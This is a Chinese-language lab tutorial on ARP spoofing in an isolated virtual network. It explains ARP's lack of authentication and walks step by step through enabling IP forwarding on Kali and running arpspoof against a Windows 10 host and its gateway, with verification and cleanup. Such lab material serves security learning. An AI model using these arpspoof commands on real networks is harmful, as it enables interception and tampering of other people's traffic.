ARP欺骗攻击实现免责声明本文实验均在本地隔离虚拟机环境中进行仅供安全学习研究使用请勿用于未授权的网络环境。| 项目 | 配置 || 攻击机 | Kali LinuxIP192.168.56.101网卡eth0 || 目标机 | Windows 10IP192.168.56.102 || 网关 | 192.168.56.1 || 实验工具 | arpspoof、Wireshark || 网络模式 | 虚拟机仅主机模式确保隔离 |1. ARP 协议是干什么的ARP地址解析协议的作用是把 IP 地址翻译成 MAC 地址。简单说就是你的电脑知道网关的 IP 是 192.168.56.1但不知道怎么把数据包送过去于是问局域网里谁有 192.168.56.1 这个 IP——这就是 ARP 请求2. ARP 的信任机制缺陷ARP 协议设计时没有认证机制——它默认相信所有收到的 ARP 响应都是真的。也就是说即使你的电脑没有发起过请求网关突然回了一条我是 192.168.56.1我的 MAC 是 XX:XX:XX你的电脑也会直接相信并更新自己的 ARP 缓存表3. 攻击者怎么利用这个缺陷攻击者不停往局域网里发伪造的 ARP 响应包说我是网关目标主机就会把网关的 MAC 地址替换成攻击者的 MAC 地址——这就是 ARP 欺骗/ARP 投毒。之后目标主机的所有流量都会经过攻击者攻击者就能截包、分析甚至篡改数据第一步在kali执行ip addr在windows10命令提示符执行ipconfig确认kali和Windows10的网段然后用ping互通一下第二步在Windows10里先看一下正常状态在命令提示符输入arp -a记录网关IP例如192.168.56.1对应的mac地址后续用于对比验证arp缓存是否被污染第三步在kali的终端窗口输入echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward作用在kali上开启IP转发用cat /proc/sys/net/ipv4/ip_forward可以验证输出1表示已开启第四步假设实验网段是kali192.168.56.101windows10192.168.56.102网关192.168.56.1网卡eth0不知道网卡可以在kali中用ifconfig命令查看在kali打开两个终端分别输入sudo arpspoof -i eth0 -t 192.168.56.102 192.168.56.1含义告诉win10网关mac是我sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.102含义告诉网关win10的mac是我补充说明-t 后面的两个IP第一个是目标主机第二个是网关。如果你需要替换实验中的IP按照这个顺序修改即可第五步在Windows10上执行arp -a如果看到网关IP对应的mac变成了kali的mac说明arp缓存已经被污染了此时Windows10还能上网但是流量会经过kali。可以在kali上打开wireshark选择对应网卡抓包在过滤器栏输入 arp 即可筛选arp流量能看到kali持续伪造arp响应第六步实验结束后在kali用ctrlc停掉arpspoof然后关闭转发echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward在Windows10上以管理员身份运行CMD然后执行arp -d *然后用arp -a确认网关mac恢复正常